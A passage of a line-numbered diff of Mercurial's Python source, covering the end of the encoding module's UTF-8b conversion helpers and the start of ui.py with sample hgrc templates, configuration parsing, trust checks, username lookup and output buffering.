503 504 internal surrogate encoding as a UTF-8 string.)
504 505 '''
505 506
506 507 if "\xed" not in s:
507 508 if isinstance(s, localstr):
508 509 return s._utf8
509 510 try:
510 511 s.decode('utf-8')
511 512 return s
512 513 except UnicodeDecodeError:
513 514 pass
514 515
515 516 r = ""
516 517 pos = 0
517 518 l = len(s)
518 519 while pos < l:
519 520 try:
520 521 c = getutf8char(s, pos)
521 522 if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf":
522 523 # have to re-escape existing U+DCxx characters
523 524 c = unichr(0xdc00 + ord(s[pos])).encode('utf-8')
524 525 pos += 1
525 526 else:
526 527 pos += len(c)
527 528 except UnicodeDecodeError:
528 529 c = unichr(0xdc00 + ord(s[pos])).encode('utf-8')
529 530 pos += 1
530 531 r += c
531 532 return r
532 533
533 534 def fromutf8b(s):
534 535 '''Given a UTF-8b string, return a local, possibly-binary string.
535 536
536 537 return the original binary string. This
537 538 is a round-trip process for strings like filenames, but metadata
538 539 that's was passed through tolocal will remain in UTF-8.
539 540
540 541 >>> roundtrip = lambda x: fromutf8b(toutf8b(x)) == x
541 542 >>> m = "\\xc3\\xa9\\x99abcd"
542 543 >>> toutf8b(m)
543 544 '\\xc3\\xa9\\xed\\xb2\\x99abcd'
544 545 >>> roundtrip(m)
545 546 True
546 547 >>> roundtrip("\\xc2\\xc2\\x80")
547 548 True
548 549 >>> roundtrip("\\xef\\xbf\\xbd")
549 550 True
550 551 >>> roundtrip("\\xef\\xef\\xbf\\xbd")
551 552 True
552 553 >>> roundtrip("\\xf1\\x80\\x80\\x80\\x80")
553 554 True
554 555 '''
555 556
556 557 # fast path - look for uDxxx prefixes in s
557 558 if "\xed" not in s:
558 559 return s
559 560
560 561 # We could do this with the unicode type but some Python builds
561 562 # use UTF-16 internally (issue5031) which causes non-BMP code
562 563 # points to be escaped. Instead, we use our handy getutf8char
563 564 # helper again to walk the string without "decoding" it.
564 565
565 566 r = ""
566 567 pos = 0
567 568 l = len(s)
568 569 while pos < l:
569 570 c = getutf8char(s, pos)
570 571 pos += len(c)
571 572 # unescape U+DCxx characters
572 573 if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf":
573 574 c = chr(ord(c.decode("utf-8")) & 0xff)
574 575 r += c
575 576 return r
577
578 class strio(io.TextIOWrapper):
579 """Wrapper around TextIOWrapper that respects hg's encoding assumptions.
580
581 Also works around Python closing streams.
582 """
583
584 def __init__(self, buffer, **kwargs):
585 kwargs[r'encoding'] = _sysstr(encoding)
586 super(strio, self).__init__(buffer, **kwargs)
587
588 def __del__(self):
589 """Override __del__ so it doesn't close the underlying stream."""
@@ -1,1785 +1,1777 b''
1 1 # ui.py - user interface bits for mercurial
2 2 #
3 3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import collections
11 11 import contextlib
12 12 import errno
13 13 import getpass
14 14 import inspect
15 15 import os
16 16 import re
17 17 import signal
18 18 import socket
19 19 import subprocess
20 20 import sys
21 21 import tempfile
22 22 import traceback
23 23
24 24 from .i18n import _
25 25 from .node import hex
26 26
27 27 from . import (
28 28 color,
29 29 config,
30 30 configitems,
31 31 encoding,
32 32 error,
33 33 formatter,
34 34 progress,
35 35 pycompat,
36 36 rcutil,
37 37 scmutil,
38 38 util,
39 39 )
40 40
41 41 urlreq = util.urlreq
42 42
43 43 # for use with str.translate(None, _keepalnum), to keep just alphanumerics
44 44 _keepalnum = ''.join(c for c in map(pycompat.bytechr, range(256))
45 45 if not c.isalnum())
46 46
47 47 # The config knobs that will be altered (if unset) by ui.tweakdefaults.
48 48 tweakrc = """
49 49 [ui]
50 50 # The rollback command is dangerous. As a rule, don't use it.
51 51 rollback = False
52 52
53 53 [commands]
54 54 # Make `hg status` emit cwd-relative paths by default.
55 55 status.relative = yes
56 56
57 57 [diff]
58 58 git = 1
59 59 """
60 60
61 61 samplehgrcs = {
62 62 'user':
63 63 b"""# example user config (see 'hg help config' for more info)
64 64 [ui]
65 65 # name and email, e.g.
66 66 # username = Jane Doe <jdoe@example.com>
67 67 username =
68 68
69 69 # uncomment to disable color in command output
70 70 # (see 'hg help color' for details)
71 71 # color = never
72 72
73 73 # uncomment to disable command output pagination
74 74 # (see 'hg help pager' for details)
75 75 # paginate = never
76 76
77 77 [extensions]
78 78 # uncomment these lines to enable some popular extensions
79 79 # (see 'hg help extensions' for more info)
80 80 #
81 81 # churn =
82 82 """,
83 83
84 84 'cloned':
85 85 b"""# example repository config (see 'hg help config' for more info)
86 86 [paths]
87 87 default = %s
88 88
89 89 # path aliases to other clones of this repo in URLs or filesystem paths
90 90 # (see 'hg help config.paths' for more info)
91 91 #
92 92 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
93 93 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
94 94 # my-clone = /home/jdoe/jdoes-clone
95 95
96 96 [ui]
97 97 # name and email (local to this repository, optional), e.g.
98 98 # username = Jane Doe <jdoe@example.com>
99 99 """,
100 100
101 101 'local':
102 102 b"""# example repository config (see 'hg help config' for more info)
103 103 [paths]
104 104 # path aliases to other clones of this repo in URLs or filesystem paths
105 105 # (see 'hg help config.paths' for more info)
106 106 #
107 107 # default = http://example.com/hg/example-repo
108 108 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
109 109 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
110 110 # my-clone = /home/jdoe/jdoes-clone
111 111
112 112 [ui]
113 113 # name and email (local to this repository, optional), e.g.
114 114 # username = Jane Doe <jdoe@example.com>
115 115 """,
116 116
117 117 'global':
118 118 b"""# example system-wide hg config (see 'hg help config' for more info)
119 119
120 120 [ui]
121 121 # uncomment to disable color in command output
122 122 # (see 'hg help color' for details)
123 123 # color = never
124 124
125 125 # uncomment to disable command output pagination
126 126 # (see 'hg help pager' for details)
127 127 # paginate = never
128 128
129 129 [extensions]
130 130 # uncomment these lines to enable some popular extensions
131 131 # (see 'hg help extensions' for more info)
132 132 #
133 133 # blackbox =
134 134 # churn =
135 135 """,
136 136 }
137 137
138 138
139 139 class httppasswordmgrdbproxy(object):
140 140 """Delays loading urllib2 until it's needed."""
141 141 def __init__(self):
142 142 self._mgr = None
143 143
144 144 def _get_mgr(self):
145 145 if self._mgr is None:
146 146 self._mgr = urlreq.httppasswordmgrwithdefaultrealm()
147 147 return self._mgr
148 148
149 149 def add_password(self, *args, **kwargs):
150 150 return self._get_mgr().add_password(*args, **kwargs)
151 151
152 152 def find_user_password(self, *args, **kwargs):
153 153 return self._get_mgr().find_user_password(*args, **kwargs)
154 154
155 155 def _catchterm(*args):
156 156 raise error.SignalInterrupt
157 157
158 158 # unique object used to detect no default value has been provided when
159 159 # retrieving configuration value.
160 160 _unset = object()
161 161
162 162 class ui(object):
163 163 def __init__(self, src=None):
164 164 """Create a fresh new ui object if no src given
165 165
166 166 Use uimod.ui.load() to create a ui which knows global and user configs.
167 167 In most cases, you should use ui.copy() to create a copy of an existing
168 168 ui object.
169 169 """
170 170 # _buffers: used for temporary capture of output
171 171 self._buffers = []
172 172 # _exithandlers: callbacks run at the end of a request
173 173 self._exithandlers = []
174 174 # 3-tuple describing how each buffer in the stack behaves.
175 175 # Values are (capture stderr, capture subprocesses, apply labels).
176 176 self._bufferstates = []
177 177 # When a buffer is active, defines whether we are expanding labels.
178 178 # This exists to prevent an extra list lookup.
179 179 self._bufferapplylabels = None
180 180 self.quiet = self.verbose = self.debugflag = self.tracebackflag = False
181 181 self._reportuntrusted = True
182 182 self._knownconfig = configitems.coreitems
183 183 self._ocfg = config.config() # overlay
184 184 self._tcfg = config.config() # trusted
185 185 self._ucfg = config.config() # untrusted
186 186 self._trustusers = set()
187 187 self._trustgroups = set()
188 188 self.callhooks = True
189 189 # Insecure server connections requested.
190 190 self.insecureconnections = False
191 191 # Blocked time
192 192 self.logblockedtimes = False
193 193 # color mode: see mercurial/color.py for possible value
194 194 self._colormode = None
195 195 self._terminfoparams = {}
196 196 self._styles = {}
197 197
198 198 if src:
199 199 self._exithandlers = src._exithandlers
200 200 self.fout = src.fout
201 201 self.ferr = src.ferr
202 202 self.fin = src.fin
203 203 self.pageractive = src.pageractive
204 204 self._disablepager = src._disablepager
205 205 self._tweaked = src._tweaked
206 206
207 207 self._tcfg = src._tcfg.copy()
208 208 self._ucfg = src._ucfg.copy()
209 209 self._ocfg = src._ocfg.copy()
210 210 self._trustusers = src._trustusers.copy()
211 211 self._trustgroups = src._trustgroups.copy()
212 212 self.environ = src.environ
213 213 self.callhooks = src.callhooks
214 214 self.insecureconnections = src.insecureconnections
215 215 self._colormode = src._colormode
216 216 self._terminfoparams = src._terminfoparams.copy()
217 217 self._styles = src._styles.copy()
218 218
219 219 self.fixconfig()
220 220
221 221 self.httppasswordmgrdb = src.httppasswordmgrdb
222 222 self._blockedtimes = src._blockedtimes
223 223 else:
224 224 self.fout = util.stdout
225 225 self.ferr = util.stderr
226 226 self.fin = util.stdin
227 227 self.pageractive = False
228 228 self._disablepager = False
229 229 self._tweaked = False
230 230
231 231 # shared read-only environment
232 232 self.environ = encoding.environ
233 233
234 234 self.httppasswordmgrdb = httppasswordmgrdbproxy()
235 235 self._blockedtimes = collections.defaultdict(int)
236 236
237 237 allowed = self.configlist('experimental', 'exportableenviron')
238 238 if '*' in allowed:
239 239 self._exportableenviron = self.environ
240 240 else:
241 241 self._exportableenviron = {}
242 242 for k in allowed:
243 243 if k in self.environ:
244 244 self._exportableenviron[k] = self.environ[k]
245 245
246 246 @classmethod
247 247 def load(cls):
248 248 """Create a ui and load global and user configs"""
249 249 u = cls()
250 250 # we always trust global config files and environment variables
251 251 for t, f in rcutil.rccomponents():
252 252 if t == 'path':
253 253 u.readconfig(f, trust=True)
254 254 elif t == 'items':
255 255 sections = set()
256 256 for section, name, value, source in f:
257 257 # do not set u._ocfg
258 258 # XXX clean this up once immutable config object is a thing
259 259 u._tcfg.set(section, name, value, source)
260 260 u._ucfg.set(section, name, value, source)
261 261 sections.add(section)
262 262 for section in sections:
263 263 u.fixconfig(section=section)
264 264 else:
265 265 raise error.ProgrammingError('unknown rctype: %s' % t)
266 266 u._maybetweakdefaults()
267 267 return u
268 268
269 269 def _maybetweakdefaults(self):
270 270 if not self.configbool('ui', 'tweakdefaults'):
271 271 return
272 272 if self._tweaked or self.plain('tweakdefaults'):
273 273 return
274 274
275 275 # Note: it is SUPER IMPORTANT that you set self._tweaked to
276 276 # True *before* any calls to setconfig(), otherwise you'll get
277 277 # infinite recursion between setconfig and this method.
278 278 #
279 279 # TODO: We should extract an inner method in setconfig() to
280 280 # avoid this weirdness.
281 281 self._tweaked = True
282 282 tmpcfg = config.config()
283 283 tmpcfg.parse('<tweakdefaults>', tweakrc)
284 284 for section in tmpcfg:
285 285 for name, value in tmpcfg.items(section):
286 286 if not self.hasconfig(section, name):
287 287 self.setconfig(section, name, value, "<tweakdefaults>")
288 288
289 289 def copy(self):
290 290 return self.__class__(self)
291 291
292 292 def resetstate(self):
293 293 """Clear internal state that shouldn't persist across commands"""
294 294 if self._progbar:
295 295 self._progbar.resetstate() # reset last-print time of progress bar
296 296 self.httppasswordmgrdb = httppasswordmgrdbproxy()
297 297
298 298 @contextlib.contextmanager
299 299 def timeblockedsection(self, key):
300 300 # this is open-coded below - search for timeblockedsection to find them
301 301 starttime = util.timer()
302 302 try:
303 303 yield
304 304 finally:
305 305 self._blockedtimes[key + '_blocked'] += \
306 306 (util.timer() - starttime) * 1000
307 307
308 308 def formatter(self, topic, opts):
309 309 return formatter.formatter(self, self, topic, opts)
310 310
311 311 def _trusted(self, fp, f):
312 312 st = util.fstat(fp)
313 313 if util.isowner(st):
314 314 return True
315 315
316 316 tusers, tgroups = self._trustusers, self._trustgroups
317 317 if '*' in tusers or '*' in tgroups:
318 318 return True
319 319
320 320 user = util.username(st.st_uid)
321 321 group = util.groupname(st.st_gid)
322 322 if user in tusers or group in tgroups or user == util.username():
323 323 return True
324 324
325 325 if self._reportuntrusted:
326 326 self.warn(_('not trusting file %s from untrusted '
327 327 'user %s, group %s\n') % (f, user, group))
328 328 return False
329 329
330 330 def readconfig(self, filename, root=None, trust=False,
331 331 sections=None, remap=None):
332 332 try:
333 333 fp = open(filename, u'rb')
334 334 except IOError:
335 335 if not sections: # ignore unless we were looking for something
336 336 return
337 337 raise
338 338
339 339 cfg = config.config()
340 340 trusted = sections or trust or self._trusted(fp, filename)
341 341
342 342 try:
343 343 cfg.read(filename, fp, sections=sections, remap=remap)
344 344 fp.close()
345 345 except error.ConfigError as inst:
346 346 if trusted:
347 347 raise
348 348 self.warn(_("ignored: %s\n") % str(inst))
349 349
350 350 if self.plain():
351 351 for k in ('debug', 'fallbackencoding', 'quiet', 'slash',
352 352 'logtemplate', 'statuscopies', 'style',
353 353 'traceback', 'verbose'):
354 354 if k in cfg['ui']:
355 355 del cfg['ui'][k]
356 356 for k, v in cfg.items('defaults'):
357 357 del cfg['defaults'][k]
358 358 for k, v in cfg.items('commands'):
359 359 del cfg['commands'][k]
360 360 # Don't remove aliases from the configuration if in the exceptionlist
361 361 if self.plain('alias'):
362 362 for k, v in cfg.items('alias'):
363 363 del cfg['alias'][k]
364 364 if self.plain('revsetalias'):
365 365 for k, v in cfg.items('revsetalias'):
366 366 del cfg['revsetalias'][k]
367 367 if self.plain('templatealias'):
368 368 for k, v in cfg.items('templatealias'):
369 369 del cfg['templatealias'][k]
370 370
371 371 if trusted:
372 372 self._tcfg.update(cfg)
373 373 self._tcfg.update(self._ocfg)
374 374 self._ucfg.update(cfg)
375 375 self._ucfg.update(self._ocfg)
376 376
377 377 if root is None:
378 378 root = os.path.expanduser('~')
379 379 self.fixconfig(root=root)
380 380
381 381 def fixconfig(self, root=None, section=None):
382 382 if section in (None, 'paths'):
383 383 # expand vars and ~
384 384 # translate paths relative to root (or home) into absolute paths
385 385 root = root or pycompat.getcwd()
386 386 for c in self._tcfg, self._ucfg, self._ocfg:
387 387 for n, p in c.items('paths'):
388 388 # Ignore sub-options.
389 389 if ':' in n:
390 390 continue
391 391 if not p:
392 392 continue
393 393 if '%%' in p:
394 394 s = self.configsource('paths', n) or 'none'
395 395 self.warn(_("(deprecated '%%' in path %s=%s from %s)\n")
396 396 % (n, p, s))
397 397 p = p.replace('%%', '%')
398 398 p = util.expandpath(p)
399 399 if not util.hasscheme(p) and not os.path.isabs(p):
400 400 p = os.path.normpath(os.path.join(root, p))
401 401 c.set("paths", n, p)
402 402
403 403 if section in (None, 'ui'):
404 404 # update ui options
405 405 self.debugflag = self.configbool('ui', 'debug')
406 406 self.verbose = self.debugflag or self.configbool('ui', 'verbose')
407 407 self.quiet = not self.debugflag and self.configbool('ui', 'quiet')
408 408 if self.verbose and self.quiet:
409 409 self.quiet = self.verbose = False
410 410 self._reportuntrusted = self.debugflag or self.configbool("ui",
411 411 "report_untrusted")
412 412 self.tracebackflag = self.configbool('ui', 'traceback')
413 413 self.logblockedtimes = self.configbool('ui', 'logblockedtimes')
414 414
415 415 if section in (None, 'trusted'):
416 416 # update trust information
417 417 self._trustusers.update(self.configlist('trusted', 'users'))
418 418 self._trustgroups.update(self.configlist('trusted', 'groups'))
419 419
420 420 def backupconfig(self, section, item):
421 421 return (self._ocfg.backup(section, item),
422 422 self._tcfg.backup(section, item),
423 423 self._ucfg.backup(section, item),)
424 424 def restoreconfig(self, data):
425 425 self._ocfg.restore(data[0])
426 426 self._tcfg.restore(data[1])
427 427 self._ucfg.restore(data[2])
428 428
429 429 def setconfig(self, section, name, value, source=''):
430 430 for cfg in (self._ocfg, self._tcfg, self._ucfg):
431 431 cfg.set(section, name, value, source)
432 432 self.fixconfig(section=section)
433 433 self._maybetweakdefaults()
434 434
435 435 def _data(self, untrusted):
436 436 return untrusted and self._ucfg or self._tcfg
437 437
438 438 def configsource(self, section, name, untrusted=False):
439 439 return self._data(untrusted).source(section, name)
440 440
441 441 def config(self, section, name, default=_unset, untrusted=False):
442 442 """return the plain string version of a config"""
443 443 value = self._config(section, name, default=default,
444 444 untrusted=untrusted)
445 445 if value is _unset:
446 446 return None
447 447 return value
448 448
449 449 def _config(self, section, name, default=_unset, untrusted=False):
450 450 value = default
451 451 item = self._knownconfig.get(section, {}).get(name)
452 452 alternates = [(section, name)]
453 453
454 454 if item is not None:
455 455 alternates.extend(item.alias)
456 456
457 457 if default is _unset:
458 458 if item is None:
459 459 value = default
460 460 elif item.default is configitems.dynamicdefault:
461 461 value = None
462 462 msg = "config item requires an explicit default value: '%s.%s'"
463 463 msg %= (section, name)
464 464 self.develwarn(msg, 2, 'warn-config-default')
465 465 elif callable(item.default):
466 466 value = item.default()
467 467 else:
468 468 value = item.default
469 469 elif (item is not None
470 470 and item.default is not configitems.dynamicdefault):
471 471 msg = ("specifying a default value for a registered "
472 472 "config item: '%s.%s' '%s'")
473 473 msg %= (section, name, default)
474 474 self.develwarn(msg, 2, 'warn-config-default')
475 475
476 476 for s, n in alternates:
477 477 candidate = self._data(untrusted).get(s, n, None)
478 478 if candidate is not None:
479 479 value = candidate
480 480 section = s
481 481 name = n
482 482 break
483 483
484 484 if self.debugflag and not untrusted and self._reportuntrusted:
485 485 for s, n in alternates:
486 486 uvalue = self._ucfg.get(s, n)
487 487 if uvalue is not None and uvalue != value:
488 488 self.debug("ignoring untrusted configuration option "
489 489 "%s.%s = %s\n" % (s, n, uvalue))
490 490 return value
491 491
492 492 def configsuboptions(self, section, name, default=_unset, untrusted=False):
493 493 """Get a config option and all sub-options.
494 494
495 495 Some config options have sub-options that are declared with the
496 496 format "key:opt = value". This method is used to return the main
497 497 option and all its declared sub-options.
498 498
499 499 Returns a 2-tuple of ``(option, sub-options)``, where `sub-options``
500 500 is a dict of defined sub-options where keys and values are strings.
501 501 """
502 502 main = self.config(section, name, default, untrusted=untrusted)
503 503 data = self._data(untrusted)
504 504 sub = {}
505 505 prefix = '%s:' % name
506 506 for k, v in data.items(section):
507 507 if k.startswith(prefix):
508 508 sub[k[len(prefix):]] = v
509 509
510 510 if self.debugflag and not untrusted and self._reportuntrusted:
511 511 for k, v in sub.items():
512 512 uvalue = self._ucfg.get(section, '%s:%s' % (name, k))
513 513 if uvalue is not None and uvalue != v:
514 514 self.debug('ignoring untrusted configuration option '
515 515 '%s:%s.%s = %s\n' % (section, name, k, uvalue))
516 516
517 517 return main, sub
518 518
519 519 def configpath(self, section, name, default=_unset, untrusted=False):
520 520 'get a path config item, expanded relative to repo root or config file'
521 521 v = self.config(section, name, default, untrusted)
522 522 if v is None:
523 523 return None
524 524 if not os.path.isabs(v) or "://" not in v:
525 525 src = self.configsource(section, name, untrusted)
526 526 if ':' in src:
527 527 base = os.path.dirname(src.rsplit(':')[0])
528 528 v = os.path.join(base, os.path.expanduser(v))
529 529 return v
530 530
531 531 def configbool(self, section, name, default=_unset, untrusted=False):
532 532 """parse a configuration element as a boolean
533 533
534 534 >>> u = ui(); s = 'foo'
535 535 >>> u.setconfig(s, 'true', 'yes')
536 536 >>> u.configbool(s, 'true')
537 537 True
538 538 >>> u.setconfig(s, 'false', 'no')
539 539 >>> u.configbool(s, 'false')
540 540 False
541 541 >>> u.configbool(s, 'unknown')
542 542 False
543 543 >>> u.configbool(s, 'unknown', True)
544 544 True
545 545 >>> u.setconfig(s, 'invalid', 'somevalue')
546 546 >>> u.configbool(s, 'invalid')
547 547 Traceback (most recent call last):
548 548 ...
549 549 ConfigError: foo.invalid is not a boolean ('somevalue')
550 550 """
551 551
552 552 v = self._config(section, name, default, untrusted=untrusted)
553 553 if v is None:
554 554 return v
555 555 if v is _unset:
556 556 if default is _unset:
557 557 return False
558 558 return default
559 559 if isinstance(v, bool):
560 560 return v
561 561 b = util.parsebool(v)
562 562 if b is None:
563 563 raise error.ConfigError(_("%s.%s is not a boolean ('%s')")
564 564 % (section, name, v))
565 565 return b
566 566
567 567 def configwith(self, convert, section, name, default=_unset,
568 568 desc=None, untrusted=False):
569 569 """parse a configuration element with a conversion function
570 570
571 571 >>> u = ui(); s = 'foo'
572 572 >>> u.setconfig(s, 'float1', '42')
573 573 >>> u.configwith(float, s, 'float1')
574 574 42.0
575 575 >>> u.setconfig(s, 'float2', '-4.25')
576 576 >>> u.configwith(float, s, 'float2')
577 577 -4.25
578 578 >>> u.configwith(float, s, 'unknown', 7)
579 579 7.0
580 580 >>> u.setconfig(s, 'invalid', 'somevalue')
581 581 >>> u.configwith(float, s, 'invalid')
582 582 Traceback (most recent call last):
583 583 ...
584 584 ConfigError: foo.invalid is not a valid float ('somevalue')
585 585 >>> u.configwith(float, s, 'invalid', desc='womble')
586 586 Traceback (most recent call last):
587 587 ...
588 588 ConfigError: foo.invalid is not a valid womble ('somevalue')
589 589 """
590 590
591 591 v = self.config(section, name, default, untrusted)
592 592 if v is None:
593 593 return v # do not attempt to convert None
594 594 try:
595 595 return convert(v)
596 596 except (ValueError, error.ParseError):
597 597 if desc is None:
598 598 desc = convert.__name__
599 599 raise error.ConfigError(_("%s.%s is not a valid %s ('%s')")
600 600 % (section, name, desc, v))
601 601
602 602 def configint(self, section, name, default=_unset, untrusted=False):
603 603 """parse a configuration element as an integer
604 604
605 605 >>> u = ui(); s = 'foo'
606 606 >>> u.setconfig(s, 'int1', '42')
607 607 >>> u.configint(s, 'int1')
608 608 42
609 609 >>> u.setconfig(s, 'int2', '-42')
610 610 >>> u.configint(s, 'int2')
611 611 -42
612 612 >>> u.configint(s, 'unknown', 7)
613 613 7
614 614 >>> u.setconfig(s, 'invalid', 'somevalue')
615 615 >>> u.configint(s, 'invalid')
616 616 Traceback (most recent call last):
617 617 ...
618 618 ConfigError: foo.invalid is not a valid integer ('somevalue')
619 619 """
620 620
621 621 return self.configwith(int, section, name, default, 'integer',
622 622 untrusted)
623 623
624 624 def configbytes(self, section, name, default=_unset, untrusted=False):
625 625 """parse a configuration element as a quantity in bytes
626 626
627 627 Units can be specified as b (bytes), k or kb (kilobytes), m or
628 628 mb (megabytes), g or gb (gigabytes).
629 629
630 630 >>> u = ui(); s = 'foo'
631 631 >>> u.setconfig(s, 'val1', '42')
632 632 >>> u.configbytes(s, 'val1')
633 633 42
634 634 >>> u.setconfig(s, 'val2', '42.5 kb')
635 635 >>> u.configbytes(s, 'val2')
636 636 43520
637 637 >>> u.configbytes(s, 'unknown', '7 MB')
638 638 7340032
639 639 >>> u.setconfig(s, 'invalid', 'somevalue')
640 640 >>> u.configbytes(s, 'invalid')
641 641 Traceback (most recent call last):
642 642 ...
643 643 ConfigError: foo.invalid is not a byte quantity ('somevalue')
644 644 """
645 645
646 646 value = self._config(section, name, default, untrusted)
647 647 if value is _unset:
648 648 if default is _unset:
649 649 default = 0
650 650 value = default
651 651 if not isinstance(value, bytes):
652 652 return value
653 653 try:
654 654 return util.sizetoint(value)
655 655 except error.ParseError:
656 656 raise error.ConfigError(_("%s.%s is not a byte quantity ('%s')")
657 657 % (section, name, value))
658 658
659 659 def configlist(self, section, name, default=_unset, untrusted=False):
660 660 """parse a configuration element as a list of comma/space separated
661 661 strings
662 662
663 663 >>> u = ui(); s = 'foo'
664 664 >>> u.setconfig(s, 'list1', 'this,is "a small" ,test')
665 665 >>> u.configlist(s, 'list1')
666 666 ['this', 'is', 'a small', 'test']
667 667 """
668 668 # default is not always a list
669 669 v = self.configwith(config.parselist, section, name, default,
670 670 'list', untrusted)
671 671 if isinstance(v, bytes):
672 672 return config.parselist(v)
673 673 elif v is None:
674 674 return []
675 675 return v
676 676
677 677 def configdate(self, section, name, default=_unset, untrusted=False):
678 678 """parse a configuration element as a tuple of ints
679 679
680 680 >>> u = ui(); s = 'foo'
681 681 >>> u.setconfig(s, 'date', '0 0')
682 682 >>> u.configdate(s, 'date')
683 683 (0, 0)
684 684 """
685 685 if self.config(section, name, default, untrusted):
686 686 return self.configwith(util.parsedate, section, name, default,
687 687 'date', untrusted)
688 688 if default is _unset:
689 689 return None
690 690 return default
691 691
692 692 def hasconfig(self, section, name, untrusted=False):
693 693 return self._data(untrusted).hasitem(section, name)
694 694
695 695 def has_section(self, section, untrusted=False):
696 696 '''tell whether section exists in config.'''
697 697 return section in self._data(untrusted)
698 698
699 699 def configitems(self, section, untrusted=False, ignoresub=False):
700 700 items = self._data(untrusted).items(section)
701 701 if ignoresub:
702 702 newitems = {}
703 703 for k, v in items:
704 704 if ':' not in k:
705 705 newitems[k] = v
706 706 items = newitems.items()
707 707 if self.debugflag and not untrusted and self._reportuntrusted:
708 708 for k, v in self._ucfg.items(section):
709 709 if self._tcfg.get(section, k) != v:
710 710 self.debug("ignoring untrusted configuration option "
711 711 "%s.%s = %s\n" % (section, k, v))
712 712 return items
713 713
714 714 def walkconfig(self, untrusted=False):
715 715 cfg = self._data(untrusted)
716 716 for section in cfg.sections():
717 717 for name, value in self.configitems(section, untrusted):
718 718 yield section, name, value
719 719
720 720 def plain(self, feature=None):
721 721 '''is plain mode active?
722 722
723 723 Plain mode means that all configuration variables which affect
724 724 the behavior and output of Mercurial should be
725 725 ignored. Additionally, the output should be stable,
726 726 reproducible and suitable for use in scripts or applications.
727 727
728 728 The only way to trigger plain mode is by setting either the
729 729 `HGPLAIN' or `HGPLAINEXCEPT' environment variables.
730 730
731 731 The return value can either be
732 732 - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT
733 733 - True otherwise
734 734 '''
735 735 if ('HGPLAIN' not in encoding.environ and
736 736 'HGPLAINEXCEPT' not in encoding.environ):
737 737 return False
738 738 exceptions = encoding.environ.get('HGPLAINEXCEPT',
739 739 '').strip().split(',')
740 740 if feature and exceptions:
741 741 return feature not in exceptions
742 742 return True
743 743
744 744 def username(self):
745 745 """Return default username to be used in commits.
746 746
747 747 Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL
748 748 and stop searching if one of these is set.
749 749 If not found and ui.askusername is True, ask the user, else use
750 750 ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname".
751 751 """
752 752 user = encoding.environ.get("HGUSER")
753 753 if user is None:
754 754 user = self.config("ui", "username")
755 755 if user is not None:
756 756 user = os.path.expandvars(user)
757 757 if user is None:
758 758 user = encoding.environ.get("EMAIL")
759 759 if user is None and self.configbool("ui", "askusername"):
760 760 user = self.prompt(_("enter a commit username:"), default=None)
761 761 if user is None and not self.interactive():
762 762 try:
763 763 user = '%s@%s' % (util.getuser(), socket.getfqdn())
764 764 self.warn(_("no username found, using '%s' instead\n") % user)
765 765 except KeyError:
766 766 pass
767 767 if not user:
768 768 raise error.Abort(_('no username supplied'),
769 769 hint=_("use 'hg config --edit' "
770 770 'to set your username'))
771 771 if "\n" in user:
772 772 raise error.Abort(_("username %s contains a newline\n")
773 773 % repr(user))
774 774 return user
775 775
776 776 def shortuser(self, user):
777 777 """Return a short representation of a user name or email address."""
778 778 if not self.verbose:
779 779 user = util.shortuser(user)
780 780 return user
781 781
782 782 def expandpath(self, loc, default=None):
783 783 """Return repository location relative to cwd or from [paths]"""
784 784 try:
785 785 p = self.paths.getpath(loc)
786 786 if p:
787 787 return p.rawloc
788 788 except error.RepoError:
789 789 pass
790 790
791 791 if default:
792 792 try:
793 793 p = self.paths.getpath(default)
794 794 if p:
795 795 return p.rawloc
796 796 except error.RepoError:
797 797 pass
798 798
799 799 return loc
800 800
801 801 @util.propertycache
802 802 def paths(self):
803 803 return paths(self)
804 804
805 805 def pushbuffer(self, error=False, subproc=False, labeled=False):
806 806 """install a buffer to capture standard output of the ui object
807 807
808 808 If error is True, the error output will be captured too.
809 809
810 810 If subproc is True, output from subprocesses (typically hooks) will be
811 811 captured too.
812 812
813 813 If labeled is True, any labels associated with buffered
814 814 output will be handled. By default, this has no effect
815 815 on the output returned, but extensions and GUI tools may
816 816 handle this argument and returned styled output. If output
817 817 is being buffered so it can be captured and parsed or
818 818 processed, labeled should not be set to True.
819 819 """
820 820 self._buffers.append([])
821 821 self._bufferstates.append((error, subproc, labeled))
822 822 self._bufferapplylabels = labeled
823 823
824 824 def popbuffer(self):
825 825 '''pop the last buffer and return the buffered output'''
826 826 self._bufferstates.pop()
827 827 if self._bufferstates:
828 828 self._bufferapplylabels = self._bufferstates[-1][2]
829 829 else:
830 830 self._bufferapplylabels = None
831 831
832 832 return "".join(self._buffers.pop())
833 833
834 834 def write(self, *args, **opts):
835 835 '''write args to output
836 836
837 837 By default, this method simply writes to the buffer or stdout.
838 838 Color mode can be set on the UI class to have the output decorated
839 839 with color modifier before being written to stdout.
840 840
841 841 The color used is controlled by an optional keyword argument, "label".
842 842 This should be a string containing label names separated by space.
843 843 Label names take the form of "topic.type". For example, ui.debug()
844 844 issues a label of "ui.debug".
845 845
846 846 When labeling output for a specific command, a label of
847 847 "cmdname.type" is recommended. For example, status issues
848 848 a label of "status.modified" for modified files.
849 849 '''
850 850 if self._buffers and not opts.get('prompt', False):
851 851 if self._bufferapplylabels:
852 852 label = opts.get('label', '')
853 853 self._buffers[-1].extend(self.label(a, label) for a in args)
854 854 else:
855 855 self._buffers[-1].extend(args)
856 856 elif self._colormode == 'win32':
857 857 # windows color printing is its own can of crab, defer to
858 858 # the color module and that is it.
859 859 color.win32print(self, self._write, *args, **opts)
860 860 else:
861 861 msgs = args
862 862 if self._colormode is not None:
863 863 label = opts.get('label', '')
864 864 msgs = [self.label(a, label) for a in args]
865 865 self._write(*msgs, **opts)
866 866
867 867 def _write(self, *msgs, **opts):
868 868 self._progclear()
869 869 # opencode timeblockedsection because this is a critical path
870 870 starttime = util.timer()
871 871 try:
872 872 for a in msgs:
873 873 self.fout.write(a)
874 874 except IOError as err:
875 875 raise error.StdioError(err)
876 876 finally:
877 877 self._blockedtimes['stdio_blocked'] += \
